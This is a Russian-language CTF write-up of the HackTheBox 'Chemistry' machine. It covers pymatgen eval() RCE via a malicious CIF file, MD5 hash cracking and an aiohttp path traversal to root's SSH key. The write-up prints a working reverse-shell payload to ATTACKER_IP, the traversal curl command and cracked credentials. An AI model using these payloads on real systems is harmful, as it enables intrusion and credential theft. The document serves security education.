HTB Chemistry прохождение: от загрузки CIF-файла до root через pymatgen RCE

CVSS 9.3 из 10. Один вызов eval() без санитизации — и загрузка научного файла превращается в полноценный RCE. CVE-2024-23346 в pymatgen — из тех багов, где читаешь исходник и не веришь глазам: разработчик сам написал в комментарии «should be fine to use eval here but be mindful for security». Машина Chemistry на HackTheBox собрана вокруг этой уязвимости и второй — CVE-2024-23334 в aiohttp. Вместе они выстраивают цепочку от анонимной регистрации в веб-приложении до чтения /root/root.txt. Разберём каждый этап: разведку, эксплуатацию парсера CIF, латеральное перемещение через взлом хешей и финальную эскалацию привилегий через directory traversal.
Разведка и сканирование портов Chemistry
Требования к окружению
- ОС: Kali Linux 2024+ или Parrot OS (актуальная версия)
- RAM: от 4 ГБ (работа с одной машиной HTB)
- Активное VPN-подключение к HackTheBox (файл
.ovpn) - Инструменты: nmap, feroxbuster/gobuster, sqlite3, john/hashcat, curl, netcat
Сканируем все порты через nmap -p- --min-rate 10000 10.10.11.38 — на Chemistry открыты два TCP-порта. Порт 22 — OpenSSH 8.2p1 (Ubuntu 20.04 Focal), порт 5000 — HTTP с заголовком Server: Werkzeug/3.0.3 Python/3.9.5. Werkzeug + Python — сразу понятно: Flask-приложение.
Детальный скан nmap -p 22,5000 -sCV 10.10.11.38 подтверждает: на порту 5000 крутится веб-приложение «Chemistry CIF Analyzer». Версия OpenSSH подсказывает Ubuntu 20.04, что важно при подборе payload — тут Python 3.9, а bash доступен по полному пути /bin/bash.
В kill chain это этап разведки — File and Directory Discovery (T1083, Discovery) и подготовка к Exploit Public-Facing Application (T1190, Initial Access). Перебор директорий через feroxbuster -u http://10.10.11.38:5000 ничего интересного не выдаёт — стандартные эндпоинты Flask: /login, /register, /dashboard, /upload, /static.
[Применимо: внешний пентест, CTF-среда без WAF и IDS]
Веб-приложение Chemistry CIF Analyzer
На главной — формы регистрации и логина. Регистрируем произвольного пользователя, попадаем на дашборд с возможностью загрузки CIF-файла (Crystallographic Information File). Это текстовый формат для описания кристаллических структур: позиции атомов, параметры ячейки, группы симметрии.
Попытка зарегистрировать пользователя admin возвращает сообщение о том, что имя уже занято — потенциальный вектор для перечисления пользователей. Но для решения машины это не нужно, идём через загрузку файла.
На дашборде можно скачать пример CIF. При загрузке стандартного файла приложение парсит его и отображает информацию о кристаллической структуре. Ключевой вопрос: какая библиотека парсит CIF? Werkzeug + Python + научные данные — с высокой вероятностью pymatgen (Python Materials Genomics), стандарт де-факто для материаловедческих расчётов в Python. Поиск по ключевым словам «pymatgen CIF vulnerability» приводит к CVE-2024-23346 и security advisory GHSA-vgv8-5cpj-qj2f на GitHub.
Вот тут начинается самое интересное. Умение распознать стек — Werkzeug = Flask = Python = вероятная привязка к pip-пакету для работы с доменным форматом — и найти релевантную CVE по этим координатам отличает системный подход от хаотичного перебора searchsploit-ом.
CVE-2024-23346 — pymatgen RCE эксплойт через eval()
Почему eval() в CIF парсере — критическая уязвимость
CVE-2024-23346 затрагивает все версии pymatgen до 2024.2.20. Уязвимость сидит в методе JonesFaithfulTransformation.from_transformation_str(), который обрабатывает значение поля _space_group_magn.transform_BNS_Pp_abc из CIF-файла. Метод передаёт содержимое поля напрямую в Python eval() без какой-либо санитизации.
В комментариях к исходному коду pymatgen (до патча) разработчик оставил заметку: «should be fine to use eval here but be mindful for security» — и рядом ссылку на статью о «safe eval». Безопасного eval() с пользовательским вводом не существует. Точка.
По данным NVD, CVSS-оценка — 9.3 (CRITICAL) с вектором CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H:
- AV:L — формально вектор локальный (через файл), но когда файл загружается через веб-форму, это де-факто удалённая эксплуатация
- PR:N — никаких привилегий не нужно (регистрация открытая)
- S:C — выход за пределы уязвимого компонента (из парсера в ОС)
- C:H/I:H/A:H — полный компромисс
Классификация — CWE-77 (Command Injection). По данным CISA Vulnrichment, технический импакт — total. EPSS-оценка — 0.0382 (перцентиль 88.72%): вероятность реальной эксплуатации выше, чем у 88% всех CVE в базе.
В терминах OWASP это A03:2021 — Injection и A08:2021 — Software and Data Integrity Failures (небезопасная десериализация). Фикс в версии 2024.2.20 заменил eval() безопасным парсингом. Debian выпустил патч DSA-5763-1 (август 2024). На Exploit-DB доступен публичный эксплойт EDB-52205 (автор: Mohammed Idrees Banyamer, апрель 2025).
Формируем вредоносный CIF-файл для reverse shell
Payload встраивается в поле _space_group_magn.transform_BNS_Pp_abc. Берём стандартный CIF-файл с дашборда и добавляем три строки с данными магнитной пространственной группы. В значении transform — Python-код, который через цепочку MRO (Method Resolution Order) добирается до модуля os и вызывает system():
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__( *[().__class__.__mro__[1]]+["__sub"+"classes__"])() if d.__name__=="BuiltinImporter"][0].load_module("os").system("/bin/bash -c \'sh -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Три нюанса, на которых застревают новички:
- Полные пути к бинарям —
/bin/bashвместоbash. Без полного пути payload молча не срабатывает, потому что переменнаяPATHвнутриeval()может быть ограничена. Я на этом сам потерял минут двадцать, прежде чем дошло. - Конкатенация
"__sub"+"classes__"— разбивка имени метода обходит примитивные текстовые фильтры. На Chemistry это избыточная мера, но в реальном пентесте может спасти от WAF. - Экранирование вложенных кавычек — внутренние одинарные кавычки в bash-команде экранируются через
\'.
Порядок действий: запускаем nc -lvnp 4444 на атакующей машине, загружаем модифицированный CIF через дашборд, затем нажимаем кнопку View. Именно при отображении структуры pymatgen вызывает парсер — и eval() срабатывает. Получаем reverse shell от пользователя app.
В kill chain это Exploit Public-Facing Application (T1190, Initial Access) плюс Execution через Python (T1059.006) и Malicious File (T1204.002).
Когда техника НЕ работает: payload бесполезен если pymatgen обновлена до 2024.2.20+. В продакшене с WAF (ModSecurity + CRS, Cloudflare WAF) содержимое загружаемого файла может проверяться на подозрительные паттерны. На HTB никаких WAF нет. В реальной инфраструктуре встретить уязвимую версию можно в legacy-системах научных лабораторий, где Python-окружения обновляются раз в пятилетку.
Эскалация привилегий Linux CTF: от app до rosa
Работа с SQLite и взлом MD5-хешей
После получения shell стабилизируем его: python3 -c 'import pty; pty.spawn("/bin/bash")', затем Ctrl+Z → stty raw -echo; fg → export TERM=xterm. Без этого интерактивные команды (sqlite3, sudo) будут работать криво — проверено на собственных нервах.
Разведка файловой системы показывает двух пользователей с bash-шеллом: rosa (uid 1000) и app (uid 1001). Пользователь app не имеет sudo-привилегий. В директории /home/app/instance/ лежит database.db — SQLite 3.x. Запрос sqlite3 /home/app/instance/database.db 'SELECT username, password FROM user;' выдаёт таблицу с ~15 записями, включая MD5-хеш пользователя rosa: 63ed86ee9f624c7b14f1d4f43dc251a5.
Это Credentials In Files (T1552.001, Credential Access) — приложение хранит хеши в SQLite рядом с исполняемым кодом, без разделения привилегий. Классика.
Для взлома MD5 используем john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt. Пароль ломается за секунды: unicorniosrosados. MD5 без соли — одна из слабейших схем хеширования, а пароль из rockyou делает атаку тривиальной.
Подключаемся ssh rosa@10.10.11.38 с полученным паролем — SSH (T1021.004, Lateral Movement). Забираем user.txt из /home/rosa/.
Ограничения: если бы приложение использовало bcrypt, scrypt или argon2 (стандарт для Flask через werkzeug.security.generate_password_hash), словарная атака заняла бы часы вместо секунд, а для нестандартных паролей стала бы нецелесообразной.
Privilege escalation HackTheBox: CVE-2024-23334 в aiohttp
Directory traversal в aiohttp и чтение SSH-ключа root
Под пользователем rosa проверяем открытые порты через ss -tlnp — и тут всплывает 127.0.0.1:8080, внутренний HTTP-сервис. Процесс /usr/bin/python3.9 /opt/monitoring_site/app.py запущен от root (видно через ps aux). Юнит-файл monitoring.service в systemd подтверждает: User=root, Group=root. Сервис от рута, слушает на localhost — типичная мишень для privesc.
Проверяем заголовки: curl -I http://127.0.0.1:8080 возвращает Server: Python/3.9 aiohttp/3.9.1. Версия 3.9.1 уязвима к CVE-2024-23334 — directory traversal при follow_symlinks=True в конфигурации статических маршрутов.
CVE-2024-23334 — CWE-22 (Path Traversal), CVSS 5.9 (MEDIUM), вектор CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N. На первый взгляд severity невысокий, но EPSS — 0.7688 (топ-1%, перцентиль 99.49%), и CVE подтверждённо эксплуатируется in the wild с 17 марта 2024 года. На GitHub доступно несколько PoC-репозиториев, наиболее популярный — z3rObyte/CVE-2024-23334-PoC (20 звёзд, обновлён в марте 2025).
Ubuntu выпустила патч USN-6991-1 (сентябрь 2024), Red Hat — RHSA-2024:1640 (апрель 2024), Debian — DSA-5828-1 (декабрь 2024). Уязвимые версии aiohttp — от 1.0.5 до 3.9.1, исправление в 3.9.2.
Из исходного кода страницы или через анализ HTTP-ответов определяем директорию статики — /assets/. Эксплуатируем traversal:
curl http://127.0.0.1:8080/assets/../../../../root/.ssh/id_rsa
Последовательность ../ выходит за пределы директории статических файлов и читает приватный SSH-ключ root. Копируем ключ на атакующую машину, выставляем chmod 600 id_rsa, подключаемся ssh -i id_rsa root@10.10.11.38. Root-флаг в /root/root.txt.
Это Exploitation for Privilege Escalation (T1068) — эксплуатация уязвимости в сервисе с повышенными привилегиями.
Когда техника НЕ работает: traversal возможен только при follow_symlinks=True в конфигурации статических маршрутов aiohttp. По умолчанию symlinks отключены — уязвимости нет. В продакшене aiohttp обычно стоит за reverse proxy (nginx, Caddy), который нормализует URL и отфильтрует ../ до попадания в бэкенд.
Полная цепочка атаки Chemistry в MITRE ATT&CK
| Этап | Тактика | Техника | Действие |
|---|---|---|---|
| 1. Разведка | Discovery | File and Directory Discovery (T1083) | nmap, feroxbuster |
| 2. Initial Access | Initial Access | Exploit Public-Facing Application (T1190) | Загрузка вредоносного CIF |
| 3. Execution | Execution | Python (T1059.006), Malicious File (T1204.002) | eval() триггерит reverse shell |
| 4. Credential Access | Credential Access | Credentials In Files (T1552.001) | SQLite с MD5-хешами |
| 5. Lateral Movement | Lateral Movement | SSH (T1021.004) | SSH как rosa |
| 6. Privilege Escalation | Privilege Escalation | Exploitation for Privilege Escalation (T1068) | Directory traversal для чтения id_rsa root |
Типичный паттерн easy-машин на HTB: одна CVE для foothold, одна для privesc, а между ними — credential reuse. В реальном пентесте такая последовательность встречается в научных и образовательных учреждениях, где внутренние Python-сервисы запускаются от root и не обновляются годами.
Chemistry — машина про доверие к пользовательскому вводу в научных библиотеках. pymatgen не задумывалась как компонент веб-приложения, но оказалась на бэкенде, обрабатывая файлы от анонимных пользователей. По данным Mandiant M-Trends 2025, exploits остаются самым распространённым вектором initial access (38% инцидентов), и заметная часть из них — именно такие «безопасные» вызовы eval() в open-source библиотеках. По данным IBM X-Force, среднее время между публикацией CVE и устранением в организации — 29 месяцев. Chemistry стала retired-машиной на HTB быстрее, чем многие реальные инфраструктуры обновили pymatgen.
Я часто вижу, как новички сразу лезут в searchsploit или гуглят готовые эксплойты, не разобравшись, что именно делает бэкенд. На Chemistry ключ к решению — понять, что CIF-файл обрабатывается Python-библиотекой, а не слепо отправлять произвольные payload’ы. Если хочется разобраться, как выстраивать такие рассуждения с нуля, а не просто повторять чужие writeup — на IB Basics в Codeby School показывают, что делать в первый месяц после «хочу в ИБ», с упором именно на методологию, а не на заучивание команд.
Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.